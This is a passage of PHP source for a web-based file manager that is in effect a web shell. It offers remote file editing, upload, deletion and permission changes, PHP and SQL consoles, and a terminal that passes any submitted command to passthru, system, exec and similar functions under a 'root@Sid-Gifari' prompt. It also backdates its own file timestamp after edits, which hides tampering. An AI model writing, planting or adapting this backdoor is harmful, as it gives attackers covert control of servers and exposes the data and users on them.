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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
